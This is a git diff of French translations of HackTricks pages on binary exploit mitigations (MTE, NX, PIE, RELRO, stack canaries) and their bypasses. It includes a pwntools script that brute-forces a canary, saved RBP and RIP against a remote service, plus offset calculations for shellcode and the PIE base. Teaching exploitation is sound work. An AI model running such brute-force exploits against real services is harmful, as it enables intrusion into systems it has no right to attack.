IRG <Xd/SP>, <Xn/SP> Insert Random [pointer] Tag
...
```
## Checking Modes
## Vérification des modes
### Sync
The CPU check the tags **during the instruction executing**, if there is a mismatch, it raises an exception.\
This is the slowest and most secure.
Le CPU vérifie les tags **pendant l'exécution de l'instruction**, s'il y a un décalage, il lève une exception.\
C'est le plus lent et le plus sécurisé.
### Async
The CPU check the tags **asynchronously**, and when a mismatch is found it sets an exception bit in one of the system registers. It's **faster** than the previous one but it's **unable to point out** the exact instruction that cause the mismatch and it doesn't raise the exception immediately, giving some time to the attacker to complete his attack.
Le CPU vérifie les tags **asynchrone**, et lorsqu'un décalage est trouvé, il définit un bit d'exception dans l'un des registres système. C'est **plus rapide** que le précédent mais il est **incapable de pointer** l'instruction exacte qui a causé le décalage et il ne lève pas l'exception immédiatement, donnant un peu de temps à l'attaquant pour compléter son attaque.
### Mixed
???
## Implementation & Detection Examples
## Exemples d'implémentation et de détection
Called Hardware Tag-Based KASAN, MTE-based KASAN or in-kernel MTE.\
The kernel allocators (like `kmalloc`) will **call this module** which will prepare the tag to use (randomly) attach it to the kernel space allocated and to the returned pointer.
Appelé KASAN basé sur des tags matériels, KASAN basé sur MTE ou MTE dans le noyau.\
Les allocateurs du noyau (comme `kmalloc`) vont **appeler ce module** qui préparera le tag à utiliser (de manière aléatoire) pour l'attacher à l'espace noyau alloué et au pointeur retourné.
Note that it'll **only mark enough memory granules** (16B each) for the requested size. So if the requested size was 35 and a slab of 60B was given, it'll mark the first 16\*3 = 48B with this tag and the **rest** will be **marked** with a so-called **invalid tag (0xE)**.
Notez qu'il **marquera uniquement suffisamment de granules de mémoire** (16B chacune) pour la taille demandée. Donc, si la taille demandée était de 35 et qu'une plaque de 60B était donnée, il marquera les premiers 16\*3 = 48B avec ce tag et le **reste** sera **marqué** avec un soi-disant **tag invalide (0xE)**.
The tag **0xF** is the **match all pointer**. A memory with this pointer allows **any tag to be used** to access its memory (no mismatches). This could prevent MET from detecting an attack if this tags is being used in the attacked memory.
Le tag **0xF** est le **pointeur qui correspond à tout**. Une mémoire avec ce pointeur permet **d'utiliser n'importe quel tag** pour accéder à sa mémoire (pas de décalages). Cela pourrait empêcher le MET de détecter une attaque si ce tag est utilisé dans la mémoire attaquée.
Therefore there are only **14 value**s that can be used to generate tags as 0xE and 0xF are reserved, giving a probability of **reusing tags** to 1/17 -> around **7%**.
Par conséquent, il n'y a que **14 valeurs** qui peuvent être utilisées pour générer des tags car 0xE et 0xF sont réservés, donnant une probabilité de **réutilisation des tags** de 1/17 -> environ **7%**.
If the kernel access to the **invalid tag granule**, the **mismatch** will be **detected**. If it access another memory location, if the **memory has a different tag** (or the invalid tag) the mismatch will be **detected.** If the attacker is lucky and the memory is using the same tag, it won't be detected. Chances are around 7%
Si le noyau accède à la **granule de tag invalide**, le **décalage** sera **détecté**. S'il accède à un autre emplacement mémoire, si la **mémoire a un tag différent** (ou le tag invalide), le décalage sera **détecté**. Si l'attaquant a de la chance et que la mémoire utilise le même tag, cela ne sera pas détecté. Les chances sont d'environ 7%.
Another bug occurs in the **last granule** of the allocated memory. If the application requested 35B, it was given the granule from 32 to 48. Therefore, the **bytes from 36 til 47 are using the same tag** but they weren't requested. If the attacker access **these extra bytes, this isn't detected**.
Un autre bug se produit dans la **dernière granule** de la mémoire allouée. Si l'application a demandé 35B, elle a reçu la granule de 32 à 48. Par conséquent, les **octets de 36 à 47 utilisent le même tag** mais n'ont pas été demandés. Si l'attaquant accède **à ces octets supplémentaires, cela n'est pas détecté**.
When **`kfree()`** is executed, the memory is retagged with the invalid memory tag, so in a **use-after-free**, when the memory is accessed again, the **mismatch is detected**.
Lorsque **`kfree()`** est exécuté, la mémoire est re-tagée avec le tag de mémoire invalide, donc dans un **use-after-free**, lorsque la mémoire est à nouveau accédée, le **décalage est détecté**.
However, in a use-after-free, if the same **chunk is reallocated again with the SAME tag** as previously, an attacker will be able to use this access and this won't be detected (around 7% chance).
Cependant, dans un use-after-free, si le même **chunk est réalloué à nouveau avec le MÊME tag** qu'auparavant, un attaquant pourra utiliser cet accès et cela ne sera pas détecté (environ 7% de chance).
Moreover, only **`slab` and `page_alloc`** uses tagged memory but in the future this will also be used in `vmalloc`, `stack` and `globals` (at the moment of the video these can still be abused).
De plus, seuls **`slab` et `page_alloc`** utilisent de la mémoire taguée mais à l'avenir, cela sera également utilisé dans `vmalloc`, `stack` et `globals` (au moment de la vidéo, ceux-ci peuvent encore être abusés).
When a **mismatch is detected** the kernel will **panic** to prevent further exploitation and retries of the exploit (MTE doesn't have false positives).
Lorsqu'un **décalage est détecté**, le noyau va **panique** pour prévenir toute exploitation supplémentaire et les tentatives de l'exploit (MTE n'a pas de faux positifs).
## References
## Références
- [https://www.youtube.com/watch?v=UwMt0e_dC_Q](https://www.youtube.com/watch?v=UwMt0e_dC_Q)

View File

@ -2,15 +2,15 @@
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
The **No-Execute (NX)** bit, also known as **Execute Disable (XD)** in Intel terminology, is a hardware-based security feature designed to **mitigate** the effects of **buffer overflow** attacks. When implemented and enabled, it distinguishes between memory regions that are intended for **executable code** and those meant for **data**, such as the **stack** and **heap**. The core idea is to prevent an attacker from executing malicious code through buffer overflow vulnerabilities by putting the malicious code in the stack for example and directing the execution flow to it.
Le bit **No-Execute (NX)**, également connu sous le nom de **Execute Disable (XD)** dans la terminologie Intel, est une fonctionnalité de sécurité basée sur le matériel conçue pour **atténuer** les effets des attaques par **débordement de tampon**. Lorsqu'il est mis en œuvre et activé, il distingue entre les régions de mémoire destinées au **code exécutable** et celles destinées aux **données**, telles que la **pile** et le **tas**. L'idée principale est d'empêcher un attaquant d'exécuter du code malveillant via des vulnérabilités de débordement de tampon en plaçant le code malveillant dans la pile par exemple et en dirigeant le flux d'exécution vers celui-ci.
## Bypasses
## Contournements
- It's possible to use techniques such as [**ROP**](../rop-return-oriented-programing/) **to bypass** this protection by executing chunks of executable code already present in the binary.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
- Il est possible d'utiliser des techniques telles que [**ROP**](../rop-return-oriented-programing/) **pour contourner** cette protection en exécutant des morceaux de code exécutable déjà présents dans le binaire.
- [**Ret2libc**](../rop-return-oriented-programing/ret2lib/)
- [**Ret2syscall**](../rop-return-oriented-programing/rop-syscall-execv/)
- **Ret2...**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,30 +2,30 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Informations de base
A binary compiled as PIE, or **Position Independent Executable**, means the **program can load at different memory locations** each time it's executed, preventing hardcoded addresses.
Un binaire compilé en tant que PIE, ou **Position Independent Executable**, signifie que le **programme peut se charger à différents emplacements mémoire** chaque fois qu'il est exécuté, empêchant les adresses codées en dur.
The trick to exploit these binaries lies in exploiting the **relative addresses**—the offsets between parts of the program remain the same even if the absolute locations change. To **bypass PIE, you only need to leak one address**, typically from the **stack** using vulnerabilities like format string attacks. Once you have an address, you can calculate others by their **fixed offsets**.
Le truc pour exploiter ces binaires réside dans l'exploitation des **adresses relatives**—les décalages entre les parties du programme restent les mêmes même si les emplacements absolus changent. Pour **contourner PIE, vous devez seulement divulguer une adresse**, généralement depuis la **pile** en utilisant des vulnérabilités comme les attaques par chaîne de format. Une fois que vous avez une adresse, vous pouvez calculer d'autres par leurs **décalages fixes**.
A helpful hint in exploiting PIE binaries is that their **base address typically ends in 000** due to memory pages being the units of randomization, sized at 0x1000 bytes. This alignment can be a critical **check if an exploit isn't working** as expected, indicating whether the correct base address has been identified.\
Or you can use this for your exploit, if you leak that an address is located at **`0x649e1024`** you know that the **base address is `0x649e1000`** and from the you can just **calculate offsets** of functions and locations.
Un indice utile pour exploiter les binaires PIE est que leur **adresse de base se termine généralement par 000** en raison des pages mémoire étant les unités de randomisation, de taille 0x1000 octets. Cet alignement peut être un **vérification critique si une exploitation ne fonctionne pas** comme prévu, indiquant si la bonne adresse de base a été identifiée.\
Ou vous pouvez utiliser cela pour votre exploitation, si vous divulguez qu'une adresse est située à **`0x649e1024`**, vous savez que l'**adresse de base est `0x649e1000`** et à partir de là, vous pouvez simplement **calculer les décalages** des fonctions et des emplacements.
## Bypasses
## Contournements
In order to bypass PIE it's needed to **leak some address of the loaded** binary, there are some options for this:
Pour contourner PIE, il est nécessaire de **divulguer une adresse du binaire chargé**, il existe plusieurs options pour cela :
- **Disabled ASLR**: If ASLR is disabled a binary compiled with PIE is always **going to be loaded in the same address**, therefore **PIE is going to be useless** as the addresses of the objects are always going to be in the same place.
- Be **given** the leak (common in easy CTF challenges, [**check this example**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-force EBP and EIP values** in the stack until you leak the correct ones:
- **ASLR désactivé** : Si ASLR est désactivé, un binaire compilé avec PIE est toujours **chargé à la même adresse**, donc **PIE va être inutile** car les adresses des objets seront toujours au même endroit.
- Être **donné** la fuite (commun dans les défis CTF faciles, [**vérifiez cet exemple**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-exploit))
- **Brute-forcer les valeurs EBP et EIP** dans la pile jusqu'à ce que vous divulguiez les bonnes :
{{#ref}}
bypassing-canary-and-pie.md
{{#endref}}
- Use an **arbitrary read** vulnerability such as [**format string**](../../format-strings/) to leak an address of the binary (e.g. from the stack, like in the previous technique) to get the base of the binary and use offsets from there. [**Find an example here**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
- Utiliser une vulnérabilité de **lecture arbitraire** telle que [**chaîne de format**](../../format-strings/) pour divulguer une adresse du binaire (par exemple, depuis la pile, comme dans la technique précédente) pour obtenir la base du binaire et utiliser des décalages à partir de là. [**Trouvez un exemple ici**](https://ir0nstone.gitbook.io/notes/types/stack/pie/pie-bypass).
## References
## Références
- [https://ir0nstone.gitbook.io/notes/types/stack/pie](https://ir0nstone.gitbook.io/notes/types/stack/pie)

View File

@ -1,56 +1,55 @@
# BF Addresses in the Stack
# BF Adresses dans la Pile
{{#include ../../../banners/hacktricks-training.md}}
**If you are facing a binary protected by a canary and PIE (Position Independent Executable) you probably need to find a way to bypass them.**
**Si vous êtes confronté à un binaire protégé par un canary et un PIE (Position Independent Executable), vous devez probablement trouver un moyen de les contourner.**
![](<../../../images/image (865).png>)
> [!NOTE]
> Note that **`checksec`** might not find that a binary is protected by a canary if this was statically compiled and it's not capable to identify the function.\
> However, you can manually notice this if you find that a value is saved in the stack at the beginning of a function call and this value is checked before exiting.
> Notez que **`checksec`** pourrait ne pas détecter qu'un binaire est protégé par un canary si celui-ci a été compilé statiquement et qu'il n'est pas capable d'identifier la fonction.\
> Cependant, vous pouvez le remarquer manuellement si vous constatez qu'une valeur est enregistrée dans la pile au début d'un appel de fonction et que cette valeur est vérifiée avant la sortie.
## Brute-Force Addresses
## Adresses par Brute-Force
In order to **bypass the PIE** you need to **leak some address**. And if the binary is not leaking any addresses the best to do it is to **brute-force the RBP and RIP saved in the stack** in the vulnerable function.\
For example, if a binary is protected using both a **canary** and **PIE**, you can start brute-forcing the canary, then the **next** 8 Bytes (x64) will be the saved **RBP** and the **next** 8 Bytes will be the saved **RIP.**
Pour **contourner le PIE**, vous devez **fuiter une adresse**. Et si le binaire ne fuit aucune adresse, le mieux à faire est de **brute-forcer le RBP et le RIP enregistrés dans la pile** dans la fonction vulnérable.\
Par exemple, si un binaire est protégé à la fois par un **canary** et un **PIE**, vous pouvez commencer par brute-forcer le canary, puis les **8 octets suivants** (x64) seront le **RBP** enregistré et les **8 octets suivants** seront le **RIP** enregistré.
> [!TIP]
> It's supposed that the return address inside the stack belongs to the main binary code, which, if the vulnerability is located in the binary code, will usually be the case.
To brute-force the RBP and the RIP from the binary you can figure out that a valid guessed byte is correct if the program output something or it just doesn't crash. The **same function** as the provided for brute-forcing the canary can be used to brute-force the RBP and the RIP:
> On suppose que l'adresse de retour dans la pile appartient au code binaire principal, ce qui, si la vulnérabilité se situe dans le code binaire, sera généralement le cas.
Pour brute-forcer le RBP et le RIP du binaire, vous pouvez déterminer qu'un octet deviné valide est correct si le programme produit quelque chose ou ne plante tout simplement pas. La **même fonction** que celle fournie pour brute-forcer le canary peut être utilisée pour brute-forcer le RBP et le RIP :
```python
from pwn import *
def connect():
r = remote("localhost", 8788)
r = remote("localhost", 8788)
def get_bf(base):
canary = ""
guess = 0x0
base += canary
canary = ""
guess = 0x0
base += canary
while len(canary) < 8:
while guess != 0xff:
r = connect()
while len(canary) < 8:
while guess != 0xff:
r = connect()
r.recvuntil("Username: ")
r.send(base + chr(guess))
r.recvuntil("Username: ")
r.send(base + chr(guess))
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
if "SOME OUTPUT" in r.clean():
print "Guessed correct byte:", format(guess, '02x')
canary += chr(guess)
base += chr(guess)
guess = 0x0
r.close()
break
else:
guess += 1
r.close()
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
print "FOUND:\\x" + '\\x'.join("{:02x}".format(ord(c)) for c in canary)
return base
# CANARY BF HERE
canary_offset = 1176
@ -67,30 +66,25 @@ print("Brute-Forcing RIP")
base_canary_rbp_rip = get_bf(base_canary_rbp)
RIP = u64(base_canary_rbp_rip[len(base_canary_rbp_rip)-8:])
```
La dernière chose dont vous avez besoin pour vaincre le PIE est de calculer **des adresses utiles à partir des adresses divulguées** : le **RBP** et le **RIP**.
The last thing you need to defeat the PIE is to calculate **useful addresses from the leaked** addresses: the **RBP** and the **RIP**.
From the **RBP** you can calculate **where are you writing your shell in the stack**. This can be very useful to know where are you going to write the string _"/bin/sh\x00"_ inside the stack. To calculate the distance between the leaked RBP and your shellcode you can just put a **breakpoint after leaking the RBP** an check **where is your shellcode located**, then, you can calculate the distance between the shellcode and the RBP:
À partir du **RBP**, vous pouvez calculer **où vous écrivez votre shell dans la pile**. Cela peut être très utile de savoir où vous allez écrire la chaîne _"/bin/sh\x00"_ à l'intérieur de la pile. Pour calculer la distance entre le RBP divulgué et votre shellcode, vous pouvez simplement mettre un **point d'arrêt après avoir divulgué le RBP** et vérifier **où se trouve votre shellcode**, puis, vous pouvez calculer la distance entre le shellcode et le RBP :
```python
INI_SHELLCODE = RBP - 1152
```
From the **RIP** you can calculate the **base address of the PIE binary** which is what you are going to need to create a **valid ROP chain**.\
To calculate the base address just do `objdump -d vunbinary` and check the disassemble latest addresses:
À partir du **RIP**, vous pouvez calculer la **base de l'adresse du binaire PIE**, ce qui est nécessaire pour créer une **chaîne ROP valide**.\
Pour calculer l'adresse de base, il suffit de faire `objdump -d vunbinary` et de vérifier les dernières adresses désassemblées :
![](<../../../images/image (479).png>)
In that example you can see that only **1 Byte and a half is needed** to locate all the code, then, the base address in this situation will be the **leaked RIP but finishing on "000"**. For example if you leaked `0x562002970ecf` the base address is `0x562002970000`
Dans cet exemple, vous pouvez voir que seulement **1 octet et demi est nécessaire** pour localiser tout le code, donc, l'adresse de base dans cette situation sera le **RIP divulgué mais se terminant par "000"**. Par exemple, si vous avez divulgué `0x562002970ecf`, l'adresse de base est `0x562002970000`.
```python
elf.address = RIP - (RIP & 0xfff)
```
## Améliorations
## Improvements
Selon [**certaines observations de ce post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), il est possible que lors de la fuite des valeurs RBP et RIP, le serveur ne plante pas avec certaines valeurs qui ne sont pas les bonnes et que le script BF pense avoir obtenu les bonnes. Cela est dû au fait que **certaines adresses ne provoqueront tout simplement pas de plantage même si elles ne sont pas exactement les bonnes**.
According to [**some observation from this post**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/NOTES.md#extended-brute-force-leaking), it's possible that when leaking RBP and RIP values, the server won't crash with some values which aren't the correct ones and the BF script will think he got the good ones. This is because it's possible that **some addresses just won't break it even if there aren't exactly the correct ones**.
According to that blog post it's recommended to add a short delay between requests to the server is introduced.
Selon ce billet de blog, il est recommandé d'ajouter un court délai entre les requêtes au serveur.
{{#include ../../../banners/hacktricks-training.md}}

View File

@ -4,32 +4,30 @@
## Relro
**RELRO** stands for **Relocation Read-Only**, and it's a security feature used in binaries to mitigate the risks associated with **GOT (Global Offset Table)** overwrites. There are two types of **RELRO** protections: (1) **Partial RELRO** and (2) **Full RELRO**. Both of them reorder the **GOT** and **BSS** from ELF files, but with different results and implications. Speciifically, they place the **GOT** section _before_ the **BSS**. That is, **GOT** is at lower addresses than **BSS**, hence making it impossible to overwrite **GOT** entries by overflowing variables in the **BSS** (rembember writing into memory happens from lower toward higher addresses).
**RELRO** signifie **Relocation Read-Only**, et c'est une fonctionnalité de sécurité utilisée dans les binaires pour atténuer les risques associés aux écrasements de **GOT (Global Offset Table)**. Il existe deux types de protections **RELRO** : (1) **Partial RELRO** et (2) **Full RELRO**. Tous deux réorganisent la **GOT** et la **BSS** des fichiers ELF, mais avec des résultats et des implications différents. Plus précisément, ils placent la section **GOT** _avant_ la **BSS**. C'est-à-dire que **GOT** se trouve à des adresses inférieures à celles de **BSS**, rendant ainsi impossible l'écrasement des entrées **GOT** en débordant des variables dans la **BSS** (rappelez-vous que l'écriture en mémoire se fait des adresses inférieures vers les adresses supérieures).
Let's break down the concept into its two distinct types for clarity.
Décomposons le concept en ses deux types distincts pour plus de clarté.
### **Partial RELRO**
**Partial RELRO** takes a simpler approach to enhance security without significantly impacting the binary's performance. Partial RELRO makes **the .got read only (the non-PLT part of the GOT section)**. Bear in mind that the rest of the section (like the .got.plt) is still writeable and, therefore, subject to attacks. This **doesn't prevent the GOT** to be abused **from arbitrary write** vulnerabilities.
**Partial RELRO** adopte une approche plus simple pour améliorer la sécurité sans impacter significativement les performances du binaire. Partial RELRO rend **la .got en lecture seule (la partie non-PLT de la section GOT)**. Gardez à l'esprit que le reste de la section (comme la .got.plt) est toujours modifiable et, par conséquent, sujet à des attaques. Cela **ne prévient pas l'abus de la GOT** à partir de vulnérabilités d'**écriture arbitraire**.
Note: By default, GCC compiles binaries with Partial RELRO.
Note : Par défaut, GCC compile les binaires avec Partial RELRO.
### **Full RELRO**
**Full RELRO** steps up the protection by **making the entire GOT (both .got and .got.plt) and .fini_array** section completely **read-only.** Once the binary starts all the function addresses are resolved and loaded in the GOT, then, GOT is marked as read-only, effectively preventing any modifications to it during runtime.
**Full RELRO** renforce la protection en **rendant l'ensemble de la GOT (à la fois .got et .got.plt) et la section .fini_array** complètement **en lecture seule.** Une fois que le binaire démarre, toutes les adresses de fonction sont résolues et chargées dans la GOT, puis, la GOT est marquée comme en lecture seule, empêchant effectivement toute modification pendant l'exécution.
However, the trade-off with Full RELRO is in terms of performance and startup time. Because it needs to resolve all dynamic symbols at startup before marking the GOT as read-only, **binaries with Full RELRO enabled may experience longer load times**. This additional startup overhead is why Full RELRO is not enabled by default in all binaries.
It's possible to see if Full RELRO is **enabled** in a binary with:
Cependant, le compromis avec Full RELRO se situe en termes de performances et de temps de démarrage. Parce qu'il doit résoudre tous les symboles dynamiques au démarrage avant de marquer la GOT comme en lecture seule, **les binaires avec Full RELRO activé peuvent connaître des temps de chargement plus longs**. Ce surcoût supplémentaire au démarrage est la raison pour laquelle Full RELRO n'est pas activé par défaut dans tous les binaires.
Il est possible de voir si Full RELRO est **activé** dans un binaire avec :
```bash
readelf -l /proc/ID_PROC/exe | grep BIND_NOW
```
## Bypass
If Full RELRO is enabled, the only way to bypass it is to find another way that doesn't need to write in the GOT table to get arbitrary execution.
Si Full RELRO est activé, la seule façon de le contourner est de trouver un autre moyen qui ne nécessite pas d'écrire dans la table GOT pour obtenir une exécution arbitraire.
Note that **LIBC's GOT is usually Partial RELRO**, so it can be modified with an arbitrary write. More information in [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
Notez que **la GOT de LIBC est généralement en Partial RELRO**, donc elle peut être modifiée avec une écriture arbitraire. Plus d'informations dans [Targetting libc GOT entries](https://github.com/nobodyisnobody/docs/blob/main/code.execution.on.last.libc/README.md#1---targetting-libc-got-entries)**.**
{{#include ../../banners/hacktricks-training.md}}

View File

@ -2,72 +2,72 @@
{{#include ../../../banners/hacktricks-training.md}}
## **StackGuard and StackShield**
## **StackGuard et StackShield**
**StackGuard** inserts a special value known as a **canary** before the **EIP (Extended Instruction Pointer)**, specifically `0x000aff0d` (representing null, newline, EOF, carriage return) to protect against buffer overflows. However, functions like `recv()`, `memcpy()`, `read()`, and `bcopy()` remain vulnerable, and it does not protect the **EBP (Base Pointer)**.
**StackGuard** insère une valeur spéciale connue sous le nom de **canary** avant le **EIP (Extended Instruction Pointer)**, spécifiquement `0x000aff0d` (représentant null, newline, EOF, carriage return) pour se protéger contre les débordements de tampon. Cependant, des fonctions comme `recv()`, `memcpy()`, `read()`, et `bcopy()` restent vulnérables, et cela ne protège pas le **EBP (Base Pointer)**.
**StackShield** takes a more sophisticated approach than StackGuard by maintaining a **Global Return Stack**, which stores all return addresses (**EIPs**). This setup ensures that any overflow does not cause harm, as it allows for a comparison between stored and actual return addresses to detect overflow occurrences. Additionally, StackShield can check the return address against a boundary value to detect if the **EIP** points outside the expected data space. However, this protection can be circumvented through techniques like Return-to-libc, ROP (Return-Oriented Programming), or ret2ret, indicating that StackShield also does not protect local variables.
**StackShield** adopte une approche plus sophistiquée que StackGuard en maintenant une **Global Return Stack**, qui stocke toutes les adresses de retour (**EIPs**). Cette configuration garantit qu'un débordement ne cause pas de dommages, car elle permet une comparaison entre les adresses de retour stockées et réelles pour détecter les occurrences de débordement. De plus, StackShield peut vérifier l'adresse de retour par rapport à une valeur limite pour détecter si le **EIP** pointe en dehors de l'espace de données attendu. Cependant, cette protection peut être contournée par des techniques comme Return-to-libc, ROP (Return-Oriented Programming), ou ret2ret, indiquant que StackShield ne protège également pas les variables locales.
## **Stack Smash Protector (ProPolice) `-fstack-protector`:**
This mechanism places a **canary** before the **EBP**, and reorganizes local variables to position buffers at higher memory addresses, preventing them from overwriting other variables. It also securely copies arguments passed on the stack above local variables and uses these copies as arguments. However, it does not protect arrays with fewer than 8 elements or buffers within a user's structure.
Ce mécanisme place un **canary** avant le **EBP**, et réorganise les variables locales pour positionner les tampons à des adresses mémoire plus élevées, les empêchant d'écraser d'autres variables. Il copie également en toute sécurité les arguments passés sur la pile au-dessus des variables locales et utilise ces copies comme arguments. Cependant, il ne protège pas les tableaux de moins de 8 éléments ou les tampons dans une structure utilisateur.
The **canary** is a random number derived from `/dev/urandom` or a default value of `0xff0a0000`. It is stored in **TLS (Thread Local Storage)**, allowing shared memory spaces across threads to have thread-specific global or static variables. These variables are initially copied from the parent process, and child processes can alter their data without affecting the parent or siblings. Nevertheless, if a **`fork()` is used without creating a new canary, all processes (parent and children) share the same canary**, making it vulnerable. On the **i386** architecture, the canary is stored at `gs:0x14`, and on **x86_64**, at `fs:0x28`.
Le **canary** est un nombre aléatoire dérivé de `/dev/urandom` ou d'une valeur par défaut de `0xff0a0000`. Il est stocké dans **TLS (Thread Local Storage)**, permettant aux espaces mémoire partagés entre les threads d'avoir des variables globales ou statiques spécifiques au thread. Ces variables sont initialement copiées à partir du processus parent, et les processus enfants peuvent modifier leurs données sans affecter le parent ou les frères et sœurs. Néanmoins, si un **`fork()` est utilisé sans créer un nouveau canary, tous les processus (parent et enfants) partagent le même canary**, le rendant vulnérable. Sur l'architecture **i386**, le canary est stocké à `gs:0x14`, et sur **x86_64**, à `fs:0x28`.
This local protection identifies functions with buffers vulnerable to attacks and injects code at the start of these functions to place the canary, and at the end to verify its integrity.
Cette protection locale identifie les fonctions avec des tampons vulnérables aux attaques et injecte du code au début de ces fonctions pour placer le canary, et à la fin pour vérifier son intégrité.
When a web server uses `fork()`, it enables a brute-force attack to guess the canary byte by byte. However, using `execve()` after `fork()` overwrites the memory space, negating the attack. `vfork()` allows the child process to execute without duplication until it attempts to write, at which point a duplicate is created, offering a different approach to process creation and memory handling.
Lorsqu'un serveur web utilise `fork()`, il permet une attaque par force brute pour deviner le canary octet par octet. Cependant, l'utilisation de `execve()` après `fork()` écrase l'espace mémoire, annulant l'attaque. `vfork()` permet au processus enfant d'exécuter sans duplication jusqu'à ce qu'il tente d'écrire, moment auquel un duplicata est créé, offrant une approche différente pour la création de processus et la gestion de la mémoire.
### Lengths
### Longueurs
In `x64` binaries, the canary cookie is an **`0x8`** byte qword. The **first seven bytes are random** and the last byte is a **null byte.**
Dans les binaires `x64`, le cookie canary est un **`0x8`** byte qword. Les **sept premiers octets sont aléatoires** et le dernier octet est un **octet nul.**
In `x86` binaries, the canary cookie is a **`0x4`** byte dword. The f**irst three bytes are random** and the last byte is a **null byte.**
Dans les binaires `x86`, le cookie canary est un **`0x4`** byte dword. Les **trois premiers octets sont aléatoires** et le dernier octet est un **octet nul.**
> [!CAUTION]
> The least significant byte of both canaries is a null byte because it'll be the first in the stack coming from lower addresses and therefore **functions that read strings will stop before reading it**.
> L'octet de poids faible des deux canaries est un octet nul car il sera le premier dans la pile venant d'adresses inférieures et donc **les fonctions qui lisent des chaînes s'arrêteront avant de le lire**.
## Bypasses
## Contournements
**Leaking the canary** and then overwriting it (e.g. buffer overflow) with its own value.
**Fuite du canary** puis écriture de sa propre valeur (par exemple, débordement de tampon).
- If the **canary is forked in child processes** it might be possible to **brute-force** it one byte at a time:
- Si le **canary est forké dans des processus enfants**, il pourrait être possible de **brute-forcer** un octet à la fois :
{{#ref}}
bf-forked-stack-canaries.md
{{#endref}}
- If there is some interesting **leak or arbitrary read vulnerability** in the binary it might be possible to leak it:
- S'il y a une **fuite intéressante ou une vulnérabilité de lecture arbitraire** dans le binaire, il pourrait être possible de le fuir :
{{#ref}}
print-stack-canary.md
{{#endref}}
- **Overwriting stack stored pointers**
- **Écrasement des pointeurs stockés dans la pile**
The stack vulnerable to a stack overflow might **contain addresses to strings or functions that can be overwritten** in order to exploit the vulnerability without needing to reach the stack canary. Check:
La pile vulnérable à un débordement de pile pourrait **contenir des adresses de chaînes ou de fonctions qui peuvent être écrasées** afin d'exploiter la vulnérabilité sans avoir besoin d'atteindre le canary de la pile. Vérifiez :
{{#ref}}
../../stack-overflow/pointer-redirecting.md
{{#endref}}
- **Modifying both master and thread canary**
- **Modification du canary maître et du canary de thread**
A buffer **overflow in a threaded function** protected with canary can be used to **modify the master canary of the thread**. As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).
Un débordement de tampon dans une **fonction threadée** protégée par canary peut être utilisé pour **modifier le canary maître du thread**. En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).
Moreover, a buffer **overflow in a threaded function** protected with canary could be used to **modify the master canary stored in the TLS**. This is because, it might be possible to reach the memory position where the TLS is stored (and therefore, the canary) via a **bof in the stack** of a thread.\
As a result, the mitigation is useless because the check is used with two canaries that are the same (although modified).\
This attack is performed in the writeup: [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
De plus, un débordement de tampon dans une **fonction threadée** protégée par canary pourrait être utilisé pour **modifier le canary maître stocké dans le TLS**. Cela est dû au fait qu'il pourrait être possible d'atteindre la position mémoire où le TLS est stocké (et donc, le canary) via un **bof dans la pile** d'un thread.\
En conséquence, l'atténuation est inutile car la vérification est effectuée avec deux canaries qui sont les mêmes (bien que modifiés).\
Cette attaque est réalisée dans le writeup : [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)
Check also the presentation of [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) which mentions that usually the **TLS** is stored by **`mmap`** and when a **stack** of **thread** is created it's also generated by `mmap` according to this, which might allow the overflow as shown in the previous writeup.
Vérifiez également la présentation de [https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015](https://www.slideshare.net/codeblue_jp/master-canary-forging-by-yuki-koike-code-blue-2015) qui mentionne que généralement le **TLS** est stocké par **`mmap`** et lorsqu'une **pile** de **thread** est créée, elle est également générée par `mmap` selon cela, ce qui pourrait permettre le débordement comme montré dans le writeup précédent.
- **Modify the GOT entry of `__stack_chk_fail`**
- **Modifier l'entrée GOT de `__stack_chk_fail`**
If the binary has Partial RELRO, then you can use an arbitrary write to modify the **GOT entry of `__stack_chk_fail`** to be a dummy function that does not block the program if the canary gets modified.
Si le binaire a un Partial RELRO, alors vous pouvez utiliser une écriture arbitraire pour modifier l'**entrée GOT de `__stack_chk_fail`** pour être une fonction factice qui ne bloque pas le programme si le canary est modifié.
This attack is performed in the writeup: [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
Cette attaque est réalisée dans le writeup : [https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/](https://7rocky.github.io/en/ctf/other/securinets-ctf/scrambler/)
## References
## Références
- [https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html](https://guyinatuxedo.github.io/7.1-mitigation_canary/index.html)
- [http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads](http://7rocky.github.io/en/ctf/htb-challenges/pwn/robot-factory/#canaries-and-threads)

View File

@ -2,55 +2,54 @@
{{#include ../../../banners/hacktricks-training.md}}
